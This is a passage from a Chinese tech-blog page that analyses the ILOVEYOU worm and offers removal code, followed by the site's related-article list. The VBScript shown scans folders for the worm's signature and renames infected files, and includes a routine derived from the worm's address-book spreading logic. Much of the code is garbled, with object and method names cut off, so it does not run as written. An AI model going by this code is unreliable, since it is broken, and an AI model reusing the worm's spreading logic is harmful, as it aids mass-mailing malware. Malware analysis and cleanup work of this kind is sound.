2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;"> "moved " & & " to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">ine "moved " & & " to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;">elseif(ext="jpg") or (ext="jpeg") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;"> "moved",,"to",&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;">elseif(ext="mp3") or (ext="mp2") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> "moved",,"to",&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">if (eq<>folderspec) then </p><p style="text-indent: 2em;font-size:18px;">if (s="") or (s="") or (s="") or </p><p style="text-indent: 2em;font-size:18px;">(s="") or </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">(s="") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(folderspec&"") </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> "moved "&folderspec&" </p><p style="text-indent: 2em;font-size:18px;">to",folderspec&""&".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">eq=folderspec </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub folderlist(folderspec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim f,f1,sf,tf </p><p style="text-indent: 2em;font-size:18px;">If Len(folderspec) > 55 Then </p><p style="text-indent: 2em;font-size:18px;">tf = "..." & Right(folderspec,55) </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">Else </p><p style="text-indent: 2em;font-size:18px;">tf = folderspec </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;"> " scanning folder " & tf </p><p style="text-indent: 2em;font-size:18px;">ine " scanning folder " & tf </p><p style="text-indent: 2em;font-size:18px;">set f = der(folderspec) </p><p style="text-indent: 2em;font-size:18px;">set sf = ders </p><p style="text-indent: 2em;font-size:18px;">for each f1 in sf </p><p style="text-indent: 2em;font-size:18px;">infectfiles() </p><p style="text-indent: 2em;font-size:18px;">folderlist() </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub regdelete(regkey) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">ete regkey </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub regwrite(regkey,regvalue) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">te regkey,regvalue </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function regget(value) </p><p style="text-indent: 2em;font-size:18px;">Set regedit = CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">regget=d(value) </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function fileexist(filespec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim msg </p><p style="text-indent: 2em;font-size:18px;">if (ists(filespec)) Then </p><p style="text-indent: 2em;font-size:18px;">msg = 0 </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">msg = 1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">fileexist = msg </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">function folderexist(folderspec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim msg </p><p style="text-indent: 2em;font-size:18px;">if (derExists(folderspec)) then </p><p style="text-indent: 2em;font-size:18px;">msg = 0 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">msg = 1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">fileexist = msg </p><p style="text-indent: 2em;font-size:18px;">end function </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub spreadtoemail() </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad </p><p style="text-indent: 2em;font-size:18px;">set regedit=CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">set out=Object("ation") </p><p style="text-indent: 2em;font-size:18px;">set mapi=eSpace("MAPI") </p><p style="text-indent: 2em;font-size:18px;">for ctrlists=1 to </p><p style="text-indent: 2em;font-size:18px;">set a=sLists(ctrlists) </p><p style="text-indent: 2em;font-size:18px;">x=1 </p><p style="text-indent: 2em;font-size:18px;">regv=d("HKEY_CURRENT_USERSoftwareMicrosoftWAB</p><p style="text-indent: 2em;font-size:18px;">"&a) </p><p style="text-indent: 2em;font-size:18px;">if (regv="") then </p><p style="text-indent: 2em;font-size:18px;">regv=1 </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">if (int()>int(regv)) then </p><p style="text-indent: 2em;font-size:18px;">for ctrentries=1 to </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">malead=sEntries(x) </p><p style="text-indent: 2em;font-size:18px;">regad="" </p><p style="text-indent: 2em;font-size:18px;">regdelete "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead </p><p style="text-indent: 2em;font-size:18px;">x=x+1 </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">te </p><p style="text-indent: 2em;font-size:18px;">"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.</p><p style="text-indent: 2em;font-size:18px;">Count </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">te </p><p style="text-indent: 2em;font-size:18px;">"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.</p><p style="text-indent: 2em;font-size:18px;">Count </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">regdelete "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">Set out=Nothing </p><p style="text-indent: 2em;font-size:18px;">Set mapi=Nothing </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub html </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">set fso=CreateObject("stemObject") </p><p style="text-indent: 2em;font-size:18px;">set b=e(dirsystem+"") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;">-- </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> </p></div><br><p><h2></h2></p> <!-- 附件 --> <p class="tag"> 本文标签: <a style="margin-right: 10px" href="/tag/189.html" target="_blank">病毒</a> <a style="margin-right: 10px" href="/tag/175.html" target="_blank">文件</a> <a style="margin-right: 10px" href="/tag/186.html" target="_blank">程序</a> <a style="margin-right: 10px" href="/tag/223.html" target="_blank">大家</a> <a style="margin-right: 10px" href="/tag/371.html" target="_blank">没有</a> </p> <div class="roclinux-cn copyright"> <blockquote> <p> 版权声明:本文标题:“爱虫(I_Loveyou)”病毒代码解析和杀毒方法 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:<a href="http://roclinux.cn/p/1715901859a689949.html">http://roclinux.cn/p/1715901859a689949.html</a>, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。 </p> </blockquote> </div> </div> <div class="roclinux-cn block-wrap single-relative"> <h2 class="block-title"> 更多相关文章 </h2> <div class="roclinux-cn post-list"> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743814344a2484185.html" title="SpringMVC 下载文件(直接在浏览器打开)">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="SpringMVC 下载文件(直接在浏览器打开)">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743814344a2484185.html" class="post-item-title" title="SpringMVC 下载文件(直接在浏览器打开)"> <h3>SpringMVC 下载文件(直接在浏览器打开)</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">前端代码&#xff1a; 下载用户手册function downUserManual() {debuggervar downLoadPath"systemdownUserManual.do";var</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743815394a2484368.html" title="LR解决不能自动打开程序和不支持的浏览器的录制问题">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="LR解决不能自动打开程序和不支持的浏览器的录制问题">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743815394a2484368.html" class="post-item-title" title="LR解决不能自动打开程序和不支持的浏览器的录制问题"> <h3>LR解决不能自动打开程序和不支持的浏览器的录制问题</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">loadrunner不能自动打开浏览器和应用程序&#xff0c;或者使用一些特殊应用必须使用google浏览&#xff0c;所以没法进行录制工作。这时我们可以通过LR中中端口应映功能&#xff0c;实现脚本录制。 1</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743815571a2484400.html" title="一个切割PDF文件的简单的方法 -只需要chrome浏览器">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="一个切割PDF文件的简单的方法 -只需要chrome浏览器">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743815571a2484400.html" class="post-item-title" title="一个切割PDF文件的简单的方法 -只需要chrome浏览器"> <h3>一个切割PDF文件的简单的方法 -只需要chrome浏览器</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">只需要一个chrome浏览器。 使用chrome浏览器打开一个pdf&#xff0c;点击右上角的打印图标&#xff0c;如下图接着进入下图所示的页面&#xff0c;将Destination改为Save as P</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743815655a2484415.html" title="解决pyecharts运行后产生的html文件用浏览器打开空白或者jupyter无法显示">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="解决pyecharts运行后产生的html文件用浏览器打开空白或者jupyter无法显示">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743815655a2484415.html" class="post-item-title" title="解决pyecharts运行后产生的html文件用浏览器打开空白或者jupyter无法显示"> <h3>解决pyecharts运行后产生的html文件用浏览器打开空白或者jupyter无法显示</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">方法一  1&#xff09;Kernel -> Restart & Clear Output 重启并清除输出 2&#xff09;按F12 勾选Disable cache禁用缓存 3&#xff09;按F</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743815925a2484462.html" title="怎样让 pdf 文件直接下载而非在浏览器里打开">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="怎样让 pdf 文件直接下载而非在浏览器里打开">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743815925a2484462.html" class="post-item-title" title="怎样让 pdf 文件直接下载而非在浏览器里打开"> <h3>怎样让 pdf 文件直接下载而非在浏览器里打开</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">问题&#xff1a;点击 <a href"18禁.pdf">下载<a> 的时候&#xff0c;Chrome 会自动调用内置的 pdf 阅读器打开&#xff0c;我只想让用</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743863657a2492752.html" title="Win10修改编辑文件无法保存怎么办(没有权限)">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Win10修改编辑文件无法保存怎么办(没有权限)">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743863657a2492752.html" class="post-item-title" title="Win10修改编辑文件无法保存怎么办(没有权限)"> <h3>Win10修改编辑文件无法保存怎么办(没有权限)</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">Win10修改编辑hosts文件无法保存怎么办 修改一些系统文件无法保存说明这个账户没有“写”这个权限 这里以hosts文件为例&#xff0c;为账户增加读写权限&#xff1a; 首先进入Win10系统的hosts文件所在位</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743863728a2492762.html" title="拼助理拼管家小程序无法查砍价记录了怎么办?">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="拼助理拼管家小程序无法查砍价记录了怎么办?">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743863728a2492762.html" class="post-item-title" title="拼助理拼管家小程序无法查砍价记录了怎么办?"> <h3>拼助理拼管家小程序无法查砍价记录了怎么办?</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">拼助理拼管家小程序无法查砍价记录了怎么办&#xff1f;拼助理拼管家最新下载方式&#xff1b;拼助理拼管家靠谱么&#xff1f;拼助理拼管家怎么查询拼多多砍价记录&#xff1f; 拼多多现在已经关</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743864055a2492812.html" title="javacsv.jar写csv文件时,数字过长会变成科学表达法怎么办">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="javacsv.jar写csv文件时,数字过长会变成科学表达法怎么办">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743864055a2492812.html" class="post-item-title" title="javacsv.jar写csv文件时,数字过长会变成科学表达法怎么办"> <h3>javacsv.jar写csv文件时,数字过长会变成科学表达法怎么办</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">其实网上很多答案给出的答案是正确的&#xff0c;csv文件的分隔符为逗号&#xff0c;我们写一个t在数字的后面就可以实现数字正常显示的效果&#xff0c;当然了&#xff0c;如果这么简单一说就解决了问</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743864133a2492825.html" title="static修饰的函数只能在本文件中调用,其他文件想调用怎么办?">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="static修饰的函数只能在本文件中调用,其他文件想调用怎么办?">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743864133a2492825.html" class="post-item-title" title="static修饰的函数只能在本文件中调用,其他文件想调用怎么办?"> <h3>static修饰的函数只能在本文件中调用,其他文件想调用怎么办?</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">一句话总结&#xff1a;static修饰的变量和函数是有可见范围的&#xff0c;一般情况下不要越限处理。 利用可在本文件调用的属性&#xff0c;另加一个函数fun&#xff0c;fun调用该static</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743880256a2495624.html" title="使用浏览器快速下载软件或者文件">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="使用浏览器快速下载软件或者文件">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743880256a2495624.html" class="post-item-title" title="使用浏览器快速下载软件或者文件"> <h3>使用浏览器快速下载软件或者文件</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">本文是为了在浏览器下载东西太慢而写&#xff0c;废话不多说。 必备的条件 1.浏览器安装的是360极速浏览器或者360安全浏览器 2.已经安装了迅雷 步骤&#xff1a; 1.下载文件2.启动迅雷具体步骤 1、</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743884203a2496314.html" title="毕业论文-基于微信小程序的图书馆管理系统设计与实现">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="毕业论文-基于微信小程序的图书馆管理系统设计与实现">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743884203a2496314.html" class="post-item-title" title="毕业论文-基于微信小程序的图书馆管理系统设计与实现"> <h3>毕业论文-基于微信小程序的图书馆管理系统设计与实现</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">摘  要 在当今社会&#xff0c;互联网已经开始成为时代的主流&#xff0c;随着4G、5G等技术的蓬勃发展&#xff0c;人们的生活也越来越依赖网络技术。互联网移动服务也应运而生&#xff0c;它的出现</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743890211a2497338.html" title="从Linux服务器下载文件到window本地电脑">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="从Linux服务器下载文件到window本地电脑">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743890211a2497338.html" class="post-item-title" title="从Linux服务器下载文件到window本地电脑"> <h3>从Linux服务器下载文件到window本地电脑</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">1. 用sz命令 如果通过xshell连接到服务器&#xff0c;且为SSH方式&#xff0c;则可以用sz命令&#xff0c;直接在Linux的提示符下操作。 sz <文件路径……文件名> 此方法</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743912088a2501142.html" title="windows系统,删除文件慢,使用命令行快速删除大文件">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="windows系统,删除文件慢,使用命令行快速删除大文件">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743912088a2501142.html" class="post-item-title" title="windows系统,删除文件慢,使用命令行快速删除大文件"> <h3>windows系统,删除文件慢,使用命令行快速删除大文件</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">在删除、复制、移动文件夹的时候经常遇到这样的情况&#xff1a;如果文件夹里的文件非常多&#xff0c;文件夹总容量非常大时&#xff0c;文件删除速度就会变得缓慢&#xff0c;这是因为Windows系统在</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743912588a2501221.html" title="windows系统下查询下载文件哈希值">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="windows系统下查询下载文件哈希值">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743912588a2501221.html" class="post-item-title" title="windows系统下查询下载文件哈希值"> <h3>windows系统下查询下载文件哈希值</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">1、winr 启动 windows 运行窗口 2、输入Powershell命令&#xff0c;启动Powershell命令窗口 3、改为你要校验的文件路径。如果该文件不在当前工作目录&#xff0c;需要输入完整的文件路径</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1743913910a2501433.html" title="64位系统下注册32位dll文件">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="64位系统下注册32位dll文件">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1743913910a2501433.html" class="post-item-title" title="64位系统下注册32位dll文件"> <h3>64位系统下注册32位dll文件</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">在64位系统里注册32位软件所需的一些dll会提示不兼容&#xff0c;大概因为32 位进程不能加载64位Dll&#xff0c;64位进程也不可以加载32的导致。 若要支持的32 位和64 位COM 注册和程序共存状态&am</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1744019548a2519554.html" title="Win7系统上的.NET Framework 3.5开发的程序不支持HTTPS TLS 1.2 的解决办法">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Win7系统上的.NET Framework 3.5开发的程序不支持HTTPS TLS 1.2 的解决办法">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1744019548a2519554.html" class="post-item-title" title="Win7系统上的.NET Framework 3.5开发的程序不支持HTTPS TLS 1.2 的解决办法"> <h3>Win7系统上的.NET Framework 3.5开发的程序不支持HTTPS TLS 1.2 的解决办法</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">2月前</div> </div> <p class="post-item-summary">Win7系统上的.NET Framework 3.5开发的程序不支持HTTPS TLS 1.2 的解决办法 如果您的Win7系统上的.NET Framework 3.5开发的程序不支持HTTPS TLS 1.2&#xff0c;可以</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1747556948a2544191.html" title="[转]windows7下添加protel99se库文件">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="[转]windows7下添加protel99se库文件">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1747556948a2544191.html" class="post-item-title" title="[转]windows7下添加protel99se库文件"> <h3>[转]windows7下添加protel99se库文件</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">20天前</div> </div> <p class="post-item-summary">方案一&#xff1a; 1.进入CWINDOWS下找到ADVPCB99SE.INI和ADVSCH99SE.INI两个文件&#xff1b;&#xff08;有些网友的软件刚刚装上可能还没有用过&#xff0c;这</p> </div> <div class="roclinux-cn post-item"> 